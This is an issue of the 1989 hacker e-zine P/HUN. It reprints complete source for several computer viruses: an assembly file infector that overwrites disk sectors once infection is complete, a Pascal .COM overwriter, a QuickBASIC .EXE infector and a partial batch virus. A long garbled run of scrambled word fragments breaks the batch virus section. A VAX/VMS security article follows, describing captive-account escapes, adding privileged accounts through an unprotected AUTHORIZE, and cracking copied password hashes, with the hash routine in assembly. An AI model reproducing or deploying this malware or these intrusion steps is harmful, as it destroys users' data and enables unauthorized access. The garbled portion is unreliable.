Viruses in Basic ---------------- Basic is great language and often people think of it as a limited language and will not be of any use in creating something like a virus. Well you are really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE files.To do this you must compile the source code using a the Microsoft Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit the source code to place the lenght of the object program in the LENGHTVIR variable. BV3.EXE should be in the current directory, COMMAND.COM must be available, the LENGHTVIR variable must be set to the lenght of the linked program and remember to use /e parameter when compiling

()---------------------------------------------------------------------------() * = % = % = % = % = % = * ----= =---- -------% P H U N ]I[ %------- ----= =---- * = % = % = % = % = % = * P/HUN Issue #3, Volume 2 Articles [10] + Introduction Release : February 11th 1989 Comments: New - Vol 2 ==P/HUN Magazine Inc.== @ The Hacker's Den Bulletin Board System [ Home of P/HUN Online Magazine & 2600 Magazine BBS #5 ] (718)358/9209 :: 300/1200 Baud :: Open 24 Hrs Proudly presents... P/HUN Issue III --------------- P/HUN Issue 3, Volume 2: Phile 1 of 11 Introduction & Index -------------------- Welcome to P/HUN (fun) Issue III. A new volume for the New Year. We still remember some people often ridiculed and thought that P/HUN Newsletter would stop producing after the first or the second issue. Looks like that fraction underestimated us severly. I would also like to say this, P/HUN was started with one highly noble thought in mind i.e. to spread knowledge that we individually or collectively acquire through various resources. The intent has and will never be to degrade other highly esteemed newsletters or compete with them in anyway. The idea is to co-exist symbiotically for the good of the readers, in mutual respect and assistance of each other. We at P/HUN Inc. are very pleased that people enjoyed our last issue. We received many calls from all over the U.S commenting about Mr. Slippery's "Guide to PICK Operating System" and The Mentor's "Beginners Hacking Guide". We at P/HUN Inc. would like to thank both of them for their great contributions and hope hear more from them in future. We are still looking for someone experienced enough to write various news and happenings that occur in the Phreak/Hack community. I thank all that applied, but we really didn't find anyone properly qualified. A lot of hard work and effort has gone into making this issue possible. Yes the size of this issue is record breaking. We hope you find it intresting. If you have any comments, suggestion or would like to submit to our ever growing newsletter, contact us at The Hacker's Den. If we find your article intresting we will gladly publish it. Remember to only send us "original" & "unreleased" stuff. There will be no exceptions. Although this issue contains an article by Capt. Zap which has already been released. This file was a major exeception due to the fact that we found it very intresting. P/HUN Issues can be obtained from one of the sponsor boards listed below: The Phoenix Project - 512-441/3088 [Official Phrack & LOD/H TJ! release point] The Central Office - 914-234/3260 [2600 Bulletin Board System #2] Here it is P/HUN Online Magazine Issue #3...Enjoy! Red Knight & DareDevil SysOps of The Hacker's Den @ P/HUN Magazine Inc. / TSAN 89! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= *-------------------* -=| Table of Contents |=- *-------------------* No. Phile Description Author Size --- ---------------------------------------- ------ ---- #1 - Introduction & Table of Contents Red Knight 3K #2 - Viruses: Assembly, Pascal, Basic & Batch Tesla Coil ][ 24K #3 - VAX/VMS System Security Lawrence Xavier 18K #4 - AUtomated VOice Network(AUTOVON): An Outline DareDevil 26K #5 - The Pan Am Airline Computer Part "A" Red Knight 47K #6 - The Pan Am Airline Computer Part "B" Red Knight 26K #7 - Common Channel (I) Signalling:An overview Tubular Phreak 18K #8 - Who's Listening * Capt. Zap 58K #9 - An Introduction to BITNET Aristotle 10K #10 - Plastic Card Encoding Practices & Standards Hasan Ali 6K #11 - Lockpicking: An Indepth Guide The LockSmith 14K =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #2 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Viruses: Assembly, Pascal, Basic & Batch ---------------------------------------- By Tesla Coil ][ [ I do not take any responsibility for any damages that may occur when ] [ compiling viruses in this article. This article has been written to ] [ promote knowledge into the amazing world of computer viruses. ] Viruses can be written in practically every computer language known today. Although most effective viruses have been written in Assembly. Many of us think that viruses cannot be written in Basic due to its limited ability. This is untrue. Basic has the capability of producing very effective viruses if properly used. Combining assembly and basic could futher enhance the effectiveness of the virus. In this article we will examine some viruses written in Assembly, Pascal, Basic and Batch written by B. Fix, R. Burger and M. Vallen which proved to be very intresting to me. Please use some caution handling these virus programs. Please use a separate disks when you wish to compile. Virus in Assembly Language -------------------------- Most viruses out there have been written in assembly because assembly has the unique ability to bypass operating system security. Here is an example of a virus written under MS-DOS 2.1 and can obviously be compiled in the later versions. The article contains remarks so as to further explain the parts. Programmers may wish to delete those segments if desired. *************************************************** ; Program Virus ; Version 1.1 ; Writter : R. Burger ; Created 1986 ; This is a demonstration program for computer ; viruses. It has the ability to replace itself. ; and thereby modify other programs. Enjoy. ;************************************************** Code Segment Assume CS:Code progr equ 100h ORG progr ;************************************************** ; The three NOP's serve as the marker byte of the ; virus which allow it to identify a virus. ;************************************************** MAIN: nop nop nop ;************************************************** ; Initialize the pointers ;************************************************** mov ax,00 mov es:[pointer],ax mov es:[counter],ax mov es:[disks],al ;************************************************** ; Get the selected drive ;************************************************** mov ah,19h ;drive? int 21h ;************************************************** ; Get the current path on the current drive ;************************************************** mov cs:drive,al ;save drive mov ah,47h ;dir? mov dh,0 add al,1 mov dl,al ;in actual drive lea si,cs:old_path ; int 21h ;************************************************** ; Get the number of drives present. If only one ; is present, the pointer for the search order ; will be set to serach order + 6 ;************************************************** mov as,0eh ;how many disks mov dl,0 ; int 21h mov al,01 cmp al,01 ;one drive jnz hups3 mov al,06 hups3: mov ah,0 lea bx,search_order add bx,ax add bx,0001h mov cs:pointer,bx clc ;************************************************** ; Carry is set, if no more .COM's are found. ; Then, to avoid unnecessary work, .EXE files will ; be renamed to .COM files and infected. ; This causes the error message "Program to large ; to fit memory" when starting larger infected ; EXE programs. ;************************************************* change_disk: jnc no_name_change mov ah,17h ;change .EXE to .COM lea dx,cs:maske_exe int 21h cmp al,0ffh jnz no_name_change ;.EXE found? ;**************************************************** ; If neither .COM nor .EXE is found then sectors ; will be overwritten depending on the system time ; in milliseconds. This is the time of the complete ; "infection" of a storage medium. The virus can ; find nothing more to infect and starts its destruction ;***************************************************** mov ah,2ch ; read system clock int 21h mov bx,cs:pointer mov al,cs:[bx] mov bx,dx mov cx,2 mov dh,0 int 26h ; write crap on disk ;****************************************************** ; Check if the end of the search order table has been ; reached . If so, end. ;****************************************************** no_name_change: mov bx,cs:pointer dec bx mov cs:pointer,bx mov dl,cs:[bx] cmp dl,0ffh jnz hups2 jmp hops ;**************************************************** ; Get new drive from the search order table and ; select it . ;*************************************************** hups2: mov ah,0eh int 21h ;change disk ;*************************************************** ; Start in the root directory ;*************************************************** mov ah,3bh ;change path lea dx,path int 21h jmp find_first_file ;************************************************** ; Starting from the root, search for the first ; subdir. FIrst convert all .EXE files to .COM ; in the old directory ;************************************************** find_first_subdir: mov ah,17h ;change .exe to .com lea dx,cs:maske_exe int 21h mov ah,3bh ;use root directory lea dx,path int 21h mov ah,04eh ;search for first subdirectory mov cx,00010001b ;dir mask lea dx,maske_dir ; int 21h ; jc change_disk mov bx,CS:counter INC,BX DEC bx jz use_next_subdir ;************************************************* ; Search for the next subdirectory. If no more ; directories are found, the drive will be changed. ;************************************************* find_next_subdir: mov ah,4fh ; search for next subdir int 21h jc change_disk dec bx jnz find_next_subdir ;************************************************* ; Select found directory. ************************************************** use_next_subdir: mov ah,2fh ;get dta address int 21h add bx,1ch mov es:[bx],'X ;address of name in dta inc bx push ds mov ax,es mov ds,ax mov dx,bx mov ah,3bh ;change path int 21h pop ds mov bx,cs:counter inc bx mov CS:counter,bx ;************************************************** ; Find first .COM file in the current directory. ; If there are none, search the next directory. ;************************************************** find_first_file: mov ah,04eh ;Search for first mov cx,00000001b ;mask lea dx,maske_com ; int 21h ; jc find_first_subdir jmp check_if_ill ;************************************************** ; If program is ill(infected) then search for ; another other. ;************************************************** find_next_file: mov ah,4fh ;search for next int 21h jc find_first_subdir ;************************************************* ; Check is already infected by virus. ************************************************** check_if_ill: mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21 mov bx,ax ;save channel mov ah,3fh ; read file mov ch,buflen ; mov dx,buffer ;write in buffer int 21h mov ah,3eh ;close file int 21h ;*************************************************** ; This routine will search the three NOP's(no ; operation).If present there is already an infection. ; We must then continue the search ;**************************************************** mov bx,cs:[buffer] cmp bx,9090h jz find_next_file ;*************************************************** ; This routine will BY PASS MS-DOS WRITE PROTECTION ; if present. Very important ! ;*************************************************** mov ah,43h ;write enable mov al,0 mov dx,9eh ;address of name in dta int 21h mov ah,43h mov al,01h and cx,11111110b int 21h ;**************************************************** ; Open file for read/write access. ***************************************************** mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21h ;**************************************************** ; Read date entry of program and save for future ; use. ;**************************************************** mov bx,ax ;channel mov ah,57h ;get date mov al.0 int 21h push cx ;save date push dx ;**************************************************** ; The jump located at address 0100h of the program ; will be saved for further use. ***************************************************** mov dx,cs:[conta] ;save old jmp mov cs:[jmpbuf],dx mov dx,cs:[buffer+1] ;save new jump lea cx,cont-100h sub dx,cx mov cs:[conta],dx ;***************************************************** ; The virus copies itself to the start of the file. ;***************************************************** mov ah,57h ;write date mov al,1 pop dx pop cx ;restore date int 21h ;***************************************************** ; Close the file. ;***************************************************** mov ah,3eh ;close file int 21h ;***************************************************** ; Restore the old jump address. The virus saves at ; address "conta" the jump which was at the start of ; the host program. ; This is done to preserve the executability of the ; host program as much as possible. ; After saving it still works with the jump address ; contained in the virus. The jump address in the ; virus differs from the jump address in memory. ;**************************************************** mov dx,cs:[jmpbuf] ;restore old jump mov cs:[conta],dx hops: nop call use_old ;**************************************************** ; Continue with the host program. ;**************************************************** cont db 0e9h ;make jump conta dw 0 mov ah,00 int 21h ;*************************************************** ; Reactivate the selected drive at the start of ; the program. ;*************************************************** use_old: mov ah,0eh ;use old drive mov dl,cs:drive int 21h ;*************************************************** ; Reactivate the selected path at the start of ; the program. ;*************************************************** mov ah,3bh ;use old drive lea dx,old_path-1 ;get old path and backslash int 21h ret search_order db 0ffh,1,0,2,3,0ffh,00,offh pointer dw 0000 ;pointer f. search order counter dw 0000 ;counter f. nth. search disks db 0 ;number of disks maske_com db "*.com",00 ;search for com files maske_dir db "*",00 ;search for dir's maske_exe db offh,0,0,0,0,0,00111111b db 0,"????????exe",0,0,0,0 db 0,"????????com",0 maske_all db offh,0,0,0,0,0,00111111b db 0,"???????????",0,0,0,0 db 0,"????????com",0 buffer equ 0e00h ;a safe place buflen equ 230h ;lenght of virus!!!! ;carefull ;if changing!!!! jmpbuf equ buffer+buflen ;a safe place for jmp path db "X",0 ;first place drive db 0 ;actual drive back_slash db "X" old_path db 32 dup (?) ;old path code ends end main [ END OF THIS VIRUS PROGRAM ] Virus in Pascal --------------- Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved. The virus below was available through various bulletin boards for a while. $ ------------------------------------------------------------------ Number One Please handle this virus with care!!!!!!!!!!! [Deadly Demo] Number One infects all .COM - file's name will be displayed That file has been overwritten with Number Ones's program code and is not reconstructible! If all files are infected or or no .COM files are found, Number one gives you a . Files may be protected against infections of Number One by setting the Read ONLY attribute. Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) ------------------------------------------------------   $C- $U- $I- $ Wont allow a user break, enable IO check $ -- Constants ---------------------------------------  Const VirusSize = 12027; $Number One's code size Warning :String[42] $Warning message = 'This file has been infected ny Number One!'; $ -- Type declarations-------------------------------------  Type DTARec =Record $Data area for file search  DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record $Register set used for file search  Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; $ -- Variables---------------------------------------------  Var $ Memory offset program code  ProgramStart : Byte absolute Cseg:$100; $ Infected marker  MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; $ Register set  DTA : DTARec; $ Data area  Buffer : Array[Byte] of Byte; $ Data buffer  TestID : String[42]; $ To recognize infected files  UsePath : String[66]; $ Path to search files  $ Lenght of search path  UsePathLenght: Byte absolute UsePath; Go : File; $ File to infect  B : Byte; $ Used  $ -- Program code------------------------------------------  Begin WriteLn(Warning); $ Display warning message  GetDir(0, UsePath); $ get current directory  if Pos('X', UsePath) <> UsePathLenght then UsePath := UsePath + 'X'; UsePath := UsePath + '*.COM'; $ Define search mask  Reg.AH := $1A; $ Set data area  Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; $ Path must end with #0  Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg CX := $ff; $ Set attribute to find ALL files  MsDos(Reg); $ Find first matching entry  IF not Odd(Reg.Flags) Then $ If a file found then  Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); $ Remove garbage  Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then $ If not IO error then  Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); $ Test if file already ill(Infected)  If TestID <> Warning Then $ If not then ...  Begin Seek (Go, 0); $ Mark file as infected and ..  MarkInfected := Warning; $ Infect it  BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); Halt; $.. and halt the program  End; Close(Go); End; $ The file has already been infected, search next.  Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); $ ......................Until no more files are found  Until Odd(Red.Flags); Write('); $Give a smile  End. Although this is a primitive virus its effective.In this virus only the .COM files are infected. Its about 12K and it will change the date entry. Viruses in Basic ---------------- Basic is great language and often people think of it as a limited language and will not be of any use in creating something like a virus. Well you are really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE files.To do this you must compile the source code using a the Microsoft Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit the source code to place the lenght of the object program in the LENGHTVIR variable. BV3.EXE should be in the current directory, COMMAND.COM must be available, the LENGHTVIR variable must be set to the lenght of the linked program and remember to use /e parameter when compiling. 10 REM ** DEMO 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED ** 30 REM ** BASIC DOESNT SUCK 40 REM ** NO KIDDING 50 ON ERROR GOTO 670 60 REM *** LENGHTVIR MUST BE SET ** 70 REM *** TO THE LENGHT TO THE ** 80 REM *** LINKED PROGRAM *** 90 LENGHTVIR=2641 100 VIRROOT$="BV3.EXE" 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH" 130 SHELL "DIR *.EXE>INH" 140 REM ** OPEN "INH" FILE AND READ NAMES ** 150 OPEN "R",1,"INH",32000 160 GET #1,1 170 LINE INPUT#1,ORIGINAL$ 180 LINE INPUT#1,ORIGINAL$ 190 LINE INPUT#1,ORIGINAL$ 200 LINE INPUT#1,ORIGINAL$ 210 ON ERROR GOT 670 220 CLOSE#2 230 F=1:LINE INPUT#1,ORIGINAL$ 240 REM ** "%" IS THE MARKER OF THE BV3 250 REM ** "%" IN THE NAME MEANS 260 REM ** INFECTED COPY PRESENT 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210 280 ORIGINAL$=MID$(ORIGINAL$,1,13) 290 EXTENSIONS$=MID$(ORIGINAL,9,13) 300 MID$(EXTENSIONS$,1,1)="." 310 REM *** CONCATENATE NAMES INTO FILENAMES ** 320 F=F+1 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN GOTO 350 340 GOTO 320 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$ 360 ON ERROR GOTO 210 365 TEST$="" 370 REM ++ OPEN FILE FOUND +++ 380 OPEN "R",2,OROGINAL$,LENGHTVIR 390 IF LOF(2) < LENGHTVIR THEN GOTO 420 400 GET #2,2 410 LINE INPUT#1,TEST$ 420 CLOSE#2 431 REM ++ CHECK IF PROGRAM IS ILL ++ 440 REM ++ "%" AT THE END OF THE FILE MEANS.. 450 REM ++ FILE IS ALREADY SICK ++ 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210 470 CLOSE#1 480 ORIGINALS$=ORIGINAL$ 490 MID$(ORIGINALS$,1,1)="%" 499 REM ++++ SANE "HEALTHY" PROGRAM ++++ 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$ 520 SHELL C$ 530 REM *** COPY VIRUS TO HEALTHY PROGRAM **** 540 C$="COPY "+VIRROOT$+ORIGINAL$ 550 SHELL C$ 560 REM *** APPEND VIRUS MARKER *** 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13 580 WRITE#1,ORIGINALS$ 590 CLOSE#1 630 REM ++ OUYPUT MESSAGE ++ 640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!" 650 SYSTEM 660 REM ** VIRUS ERROR MESSAGE 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM 680 END This basic virus will only attack .EXE files. After the execution you will see a "INH" file which contains the directory, and the file %SORT.EXE. Programs which start with "%" are NOT infected ,they pose as back up copies. Batch Viruses ------------- Whoever thought that viruses could be in BATCH file.This virus which we are about to see makes use of MS-DOS operating system. This BATCH virus uses DEBUG & EDLIN programs. Name: VR.BAT echo = off ( Self explanatory) ctty nul ( This is important. Console output is turned off) path c:Xmsdos ( May differ on other systems ) dir *.com/w>ind ( The directory is written on "ind" ONLY name entries) edlin ind<1 --------------------------------------------="" -----------------------------------="" --------------------------------="" -------------------------------="" -----------="" --------="" -tc="" ...="" .="" .bat="" .com="" 00="" 0100="" 0110="" 0120="" 0d-00="" 0d-6e="" 0d="" 1-4="" 100h="" 11="=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" 11fh="" 1989="" 1="" 1a="" 20="" 2600="" 29="" 2:="" 2="" 2c="" 2ch="" 2e="" 31="" 32="" 3="" 3f="" 4.7:="" 45="" 52-20="" 52="" 5="" 6e="" 79="" a="" abacus="" able="" accounts="" across="" added="" addition="" address="" affects="" after="" again="" all="" also="" an="" and="" annoying="" another="" any="" anyone="" appear="" are="" area="" arrige="" as="" assigned="" at="" b="" bad="" basic="" batch="" bbs.="" be="" beats="" because="" best="" break="" buffer="" by="" called.="" can="" carriage="" certainly="" change="" changed="" characteristic.="" characters="" close="" come="" command="" common="" computer="" con="" connect="" console="" contact="" contains="" control="" copy="" cr="" crash="" created="" ctty="" cx="" d="" day="" debug="" decnet.="" decservers.="" default="" deleted="" den="" dialup="" direct="" disease="" doing="" down.="" dump="" e100="" e108="" e10c="" e110="" e112="" e12b="" e="" each="" edlin="" eliminate="" enabling="" encouraging="" end="" entirely.="" entirely="" eriod="" etc.="" even="" every="" executable="" extension="" f000="" f000h="" f00b="" f010="" f020="" f="" features="====================" feed="" file:="" file="" files.="" files="" first="" foibles="" for="" form="" from:="" from="" front="" go="" goes="" got="" government="" guaranteed="" h="Control" hacker="" hackers="" hands="" has="" have="" here="" hex="" high="" higher="" however.="" ibm="" id.="" if="" ile="" in:="" in="" inc.="" increase="" ind="" indefinitely.="" installer="" interface="" into="" intresting="" irst="" is="" issue="" it="" its="" january="" kludges="" know="" lawrence="" lazy="" let="" lf="" line="" local="" logging="" logins.="" logins="" look="" loopholes.="" loopholes="" m100="" magazine:="" magazine="" mainframe="" manage="" manager.="" managers="" many="" may="" me="" mf000="" mf010="" modified="" moved="" must="" n="" name.bat="" name:="" name="" named="" names="" native="" nbsp="" nd="" needs.="" new="" newly="" nname.bat="" not="" note="" now="" number="" od="" of="" off="" on="" once="" one="" online="" only="" operating="" or="" order="" os="" oss="" over="" p="" packages="" pants="" password="" passwords="" phile="" placed="" please="" ports="" present="" printable.="" printed="" problems="" procedure="" processed="" program="" prompt="" protection="" put="" q="" quit="" r="" racf="" rated="" readings:="" register="" remote="" reputation="" required="" restricted="" return="" riginal="" root.="" routinely="" rxc="" s="" save="" saved="" second="" secret="" security.="" security="" seen="" sees="" set="" several="" should="" so="" some="" steps="" such="" suggested="" suit="" system.="" system="" systems="" take="" tech="" terminal="" terminated="" than="" that="" the="" them.="" them="" then="" there="" these="" they="" thing="" third="" this="" time="" to="" top="" two="" types="" u.s.="" unix="" up="" upgrade="" username:="" username="" using="" usually="" vax="" virus="" viruses:="" viruses="" vms="" volume="" vr.bat="" w="" week="" were="" what="" when="" where="" will="" wins="" with="" without="" work="" worlds="" write="" written="" x.25="" xavier="" xtention="" xvr.bat="" y="" you="" young="" your="" z="">characters (which are used by VMS to set the Baud rate, if AutoBaud is enabled). If a System Password has been set on the port, VMS will BEEP after the first , and will then seem to be dead. Only after the correct System Password has been entered will the Username: prompt be given. VMS gives no indication of whether a correct username has been entered: it always asks for a Password:. VMS passwords can be like any other passwords, or they may be generated nonsense words. The /GENERATE_PASSWORD qualifier may be placed on user accounts by the system manager, forcing them to select from lists of supposedly easy to remember but nonsensical passwords. The system manager may also enforce a minimum password length and can even impose dual passwords on accounts. If a Username with dual passwords is entered, the system will prompt for Password: twice in a row. Automatic Password expiration dates can be set, forcing users to change their passwords every so often: from once a day to once a year or never. After the Username and Password have been entered, the system will either log the user in, or will print the familiar message, User Authorization Failure and will hang up after a settable number of failures (the default is 3) if the port characteristics include DIALUP and HANGUP. Breakin Detection: ----------------- If a hacker were trying to get into the system he could just continue to dialup and try again. But VMS has some features to discourage this too. If breakin detection and evasion is enabled, VMS will start to get cagey. If the count of login failures from a specific source gets high enough, the system assumes a break-in is in progress. Only login failures caused by invalid Passwords are counted, NOT invalid usernames. And the attempts must be coming from one of these three sources: . A specific valid Username, and (if setup this way, A specific terminal. . A specific remote DECnet node and remote Username. . The Username of the creator of a detached process. By default, VMS allows five failed login attempts from any one source within the time period specified. But it's not as simple as that! Each time a failure occurs, time is added to the time period in which a certain number of failures can occur. To take an example from DEC: Assume the default values are in effect. LGI_BRK_LIM specifies no more than five login failures from one source. LGI_BRK_TMO is set for five minutes. Assume that an outsider starts sending user names and passwords to the system. When the first password fails, the clock starts to run and the user has four more tries in the next five minutes. When the second attempt fails about 30 seconds later, the user has three tries left that will be counted over the next 9.5 minutes. When the third attempt fails 30 seconds later, the login failure observation time has reached 22.5 minutes. As a result, the next login failure from that source within 22.4 minutes will trigger evasive action. The system tolerates an average rate of login failures that is the reciprocal of the parameter LGI_BRK_TMO... When breakin evasion is triggered, the system will give a: User Authorization Failure message even when a valid Username and Password are entered, giving no indication of what it is doing. Note that ONLY the Username(s) in question are treated this way: other Usernames can still log in from the same terminal even if terminal-specific breakin detection is enabled. The length of time VMS will hide in this way is controlled by the sysgen parameter LGI_HID_TIM. But VMS doesn't hide for exactly this time. Rather, it will hide for a length of time determined by the following equation: Evasion time = LGI_HID_TIM * (random number between 1 and 1.5) The parameter LGI_BRK_DISUSER can be set, and will tell VMS to permanently disable accounts rather than just hiding for a time. The system manager then has to re-enable them manually. This is a dangerous parameter to set, however, because malicious individuals could deliberately disable accounts then! If the SYSTEM account is disabled this way, it will only be allowed to login on the VAX system console. Security Alarms: ---------------- Although breakin attempts to different Usernames don't activate VMS Breakin detection, they can trigger Security Alarms. Security Alarms can also be triggered by different types of access to specific files or memory areas. Security Alarms cause messages to be displayed on the system console, on the terminals of any user enabled as Security Operator, and in the Operator Log file. As DEC says, Because security auditing affects system performance, enable security alarms only for the most important events. Damn right! If all security alarms are enabled the system will hang! It starts writing alarms about the fact it is writing alarms, ad infinitum.... Security alarms can be triggered on multiple login failures, on breakin, on successful login from given ports, on failed attempts to access files, on successful attempts to access files, etc. So even if you get privilege to override protection or to defeat it a security alarm may still be triggered. Security alarms typically might be enabled on the AUTHORIZE program, which adds and modifies user accounts, on SYSUAF.DAT, the authorization database, on RIGHTSLIST.DAT, the access rights database, etc. and on critical database files. But many sites don't bother with them because of their inconvenience. Accounting: ---------- Besides Security Alarms, Accounting can be enabled. Accounting can show successful logins, login failures, how much resources are consumed by processes, what programs are executed, etc. Not all sites enable accounting, and not all sites enable the same amount of it. Accounting records show login failures but only show the username that attempted to login if it is a valid username. File and Device Protection: ========================== UIC: ---- The primary access protection mechanism is the UIC. This consists of a Group and a User code, numerically represented as [nnn,nnn]. It is an Octal number. Since VMS 4.x versions the UIC can also be expressed as [name] or [name,name], but internally this is translated back to the old format. Users, processes, files, devices, memory sections, etc. all have UICs. Files, devices, memory sections, etc. can have access by System, Owner, Group and World, any combination of Read, Write, Execute, Delete for each category. System are the system accounts. Owner is the account(s) who's UIC is the same as that on the object (file, device, etc.). Group are accounts with the same first UIC number. World is everyone. So a process with UIC [23,7] could access an object with UIC [23,4] if that object allowed access by Group or World. The process could access an object with UIC [25,3] only if World access was allowed, and could access objects with UIC [23,7] if Owner, Group, or World was allowed. ACL: ---- Also, there's a protection mechanism called the ACL or Access Control List. This is in addition to, and can override UIC protection. With ACLs an Identifier is created, like MODEM for one or more modem ports. An ACL is created on the port(s) desired, and in the ACL are multiple Access Control Entries (ACEs). If one of them is: (Identifier=MODEM, Access=Read+Write) for example, user who has been Granted the identifier MODEM can access those ports. These access privileges, like UICs apply to processes in general. Granting and managing Identifiers is done in the AUTHORIZE program. Loopholes, Ways of Defeating Security... ======================================== Although VMS has great security it's often applied poorly. For one thing, protection is often not set up properly, programs are installed with too much privilege etc. (Programs can be installed so they have privilege when run even if the user running them has no privilege). Getting a $ prompt: ------------------- If a hacker logs into a VMS system and finds himself trapped within application programs the first thing he will want to do is to get out to the normal DCL command mode from where more things can be done. Hackers will try several things and you should check to make sure they can't try these tricks on your system. AllInOne: In AllInOne, DEC's popular Electronic Mail and menuing Office Automation system, typing $ (the dollar sign) will by default take the user to DCL level. Typing ADMIN will get the user into the AllInOne administrator menu. From there they can create accounts with $ access. AllInOne mail also has a feature where macros can be attached to mail and executed when the mail is read. If the hacker sends a message of this type to some user with privilege, the macro can go off in the background and create accounts, etc. for the hacker. This feature should be disabled. Other Captive Account tricks: Holding down and letting it repeat for a while will often cause accounts that are trapped in a command procedure but not marked as CAPTIVE in the UAF to exit from the command procedure to DCL. If an account has access to VAXMAIL (the MAIL command) it can often use MAIL's SPAWN command to spawn a process with DCL access. The TPU editor has a similar SPAWN command. If an account is not marked CAPTIVE the user can try to add /NOCOMMAND after the username, like the following: Username: fred/nocommand This will cause the command procedure to not be executed, leaving the hacker at a DCL $ prompt. There are many more too. For this reason you should mark all accounts that are supposed to be captive as CAPTIVE using the AUTHORIZE utility. When at the $ Prompt: --------------------- Since protection is often set incorrectly, hackers can take advantage and use this to bypass security. A couple of examples will serve to show that you must be diligent in setting the protections properly on systems you manage. If SYS$SYSTEM:AUTHORIZE.EXE is not protected, it can be run by non- privileged users. The hacker would then run AUTHORIZE and create a new SYSUAF.DAT file in his own directory (AUTHORIZE will do this by default if not run in the SYS$SYSTEM directory). The hacker would add a privileged username to the new SYSUAF.DAT, copy it back to SYS$SYSTEM:, log out, log in again as the new privileged user, and quickly delete the new SYSUAF.DAT so that other users don't get "Authorization Failure" messages. The hacker would then be able to add privileged accounts to SYSUAF.DAT at his leisure. Another clever idea would be for the hacker who has gained access to copy SYSUAF.DAT to another directory and then try to find out what passwords are in it. VMS uses a one-way encryption algorithm, but a gifted hacker will use the same algorithm to repeatedly encrypt different passwords until he finds ones that match. A copy of the VMS assembly language code to do this encryption can be found in the appendix, for your information. Again, setting the protection properly will keep this from happening to your system! Conclusion: =========== This has been a brief overview of VMS security. For more information, read your DEC manuals. A good place to start is the handy VMS System Manager's Manual, Order Number AA-LA00A-TE, which can be obtained from DEC Direct and should have come with your VMS update. The importance of proper security cannot be over emphasized, but if you overdo it performance will suffer. Experiment on your system to find a good balance. Don't ignore security or you may regret it rather intensely. Appendix -- VMS assembly code for encrypting passwords: ======================================================= .TITLE HPWD - hash user password .IDENT 'V02-002' ; Hash PassWorD: ; Hash a password irreversibly. This is one way encryption with ; no decryption possible. ; This code was obtained by disassembling the AUTHORIZE program. ; See the VMS microfiche for the fully commented code: ; e _lib$code:_lib$code+68 ; Input Parameters: ; PWDDSC - Address of password descriptor ; ENCRYPT - Encryption algorithm index (byte) ; SALT - Random number (word) ; USRDSC - Address of username descriptor ; Output Parameters: ; OUTDSC - Address of encrypted output descriptor OUTDSC=4 PWDDSC=OUTDSC+4 ENCRYPT=PWDDSC+4 SALT=ENCRYPT+4 USRDSC=SALT+4 .PSECT _LIB$CODE RD,NOWRT,PIC,SHR,BYTE,EXE ; AUTODIN-II polynomial table used by CRC algorithm AUTODIN: .LONG ^X000000000,^X01DB71064,^X03B6E20C8,^X026D930AC,^X076DC4190 .LONG ^X06B6B51F4,^X04DB26158,^X05005713C,^X0EDB88320,^X0F00F9344 .LONG ^X0D6D6A3E8,^X0CB61B38C,^X09B64C2B0,^X086D3D2D4,^X0A00AE278 .LONG ^X0BDBDF21C ; Purdy polynomial coefficients. Prime, but don't need to be Purdy_Poly: c: .LONG -83,-1 .LONG -179,-1 .LONG -257,-1 .LONG -323,-1 .LONG -363,-1 .ENTRY LGI$HPWD,^M MOVAQ @outdsc(AP),R4 MOVAQ @4(R4),R4 TSTB encrypt(AP) BGTRU 10$ MNEGL #1,R0 MOVAQ @pwddsc(AP),R1 CRC autodin,R0,(R1),@4(R1) CLRL R1 MOVQ R0,(R4) BRB 20$ 10$: CLRQ (R4) MOVAQ @pwddsc(AP),R3 BSBB COLLAPSE_R2 ADDW2 salt(AP),3(R4) MOVAQ @usrdsc(AP),R3 BSBB 